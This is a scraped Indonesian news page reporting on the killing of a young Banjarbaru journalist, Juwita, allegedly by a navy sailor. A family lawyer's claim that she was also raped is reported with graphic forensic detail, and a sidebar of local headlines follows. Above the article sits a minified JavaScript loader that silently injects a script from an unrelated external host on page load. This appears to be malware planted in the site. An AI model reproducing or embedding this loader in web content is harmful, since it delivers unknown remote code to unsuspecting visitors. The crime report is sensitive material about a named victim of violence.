(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Selain Dibunuh, Juwita Diduga Dirudapaksa J


KANALKALIMANTAN.COM, BANJARBARU – Proses penyidikan kematian tak wajar wartawati media online di Banjarbaru, Juwita yang dibunuh J, anggota TNI AL terus berjalan.

Hingga pada proses pelengkapan Berita Acara Pemeriksaan (BAP) kedua hari Rabu (2/4/2025) kemarin, tim kuasa hukum bersama pihak keluarga Juwita hadir di markas Denpom Lanal Banjarmasin.

Dalam pemeriksaan hari ini pula, satu fakta kembali terungkap  terkait kronologi kejadian pembunuhan ini.

Baca juga: Anggota TNI AL J Ditahan Resmi Tersangka, Kasus Pembunuhan Jurnalis Juwita Terus Berjalan

Salah satu kuasa hukum keluarga Juwita, C Oriza Sativa Tanau mengungkapkan, anggota TNI AL berpangkat Kelasi I itu, sempat melakukan aksi rudapaksa terhadap perempuan 22 tahun itu.

“Almarhumah pernah menyampaikan kepada kakak iparnya, kalau dia pernah dirudapaksa (Diperkosa, red) oleh tersangka di salah satu hotel di Banjarbaru pada bulan Desember 2024,” ungkap C Oriza Sativa, Rabu (2/4/2025).

Oriza Sativa mengungkap bahwa berdasarkan keterangan korban kepada kakak ipar, dugaan rudapaksa dilakukan dengan cara tersangka menarik korban untuk masuk ke kamar hotel.

Baca juga: Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

“Di dalam kamar hotel tersebut, Juwita dipiting lehernya dan dipaksa untuk melakukan hubungan badan,” tambahnya.

Hal itu juga dibuktikan dari keterangan dokter yang turut disampaikan kepada pihak keluarga. Di mana dari hasil pemeriksaan ditemukan ada kemerahan pada area kemaluan, dan selaput darahnya juga berwarna merah.

“Ada cairan putih positif cairan sperma, di mulut rahim ada luka lecet, memar sampai ke mulut rahim bagian dalam,” tuturnya.

Baca juga: Kelasi I J Berencana Menghabisi Jurnalis Juwita, Eksekusi Diduga di Mobil

Oriza menyebutkan, berdasarkan keterangan tersebut, diduga Juwita tidak hanya sebagai korban pembunuhan namun juga menjadi korban kekerasan seksual.

“Juwita juga diduga mengalami tindak pidana kekerasan seksual,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

4 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

6 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

8 jam ago

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

KANALKALIMANTAN.COM, BANJARBARU - Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut… Read More

9 jam ago

UPT PLN Pontianak Berbagi Kebahagiaan ke Masyarakat dan Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Pontianak melalui Yayasan Baitul Maal… Read More

12 jam ago

Panen Raya Semangka di Desa Pulau Kaladan

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas Muhammad Wiyatno bersama Wakil Bupati Dodo melaksanakan panen raya… Read More

15 jam ago

This website uses cookies.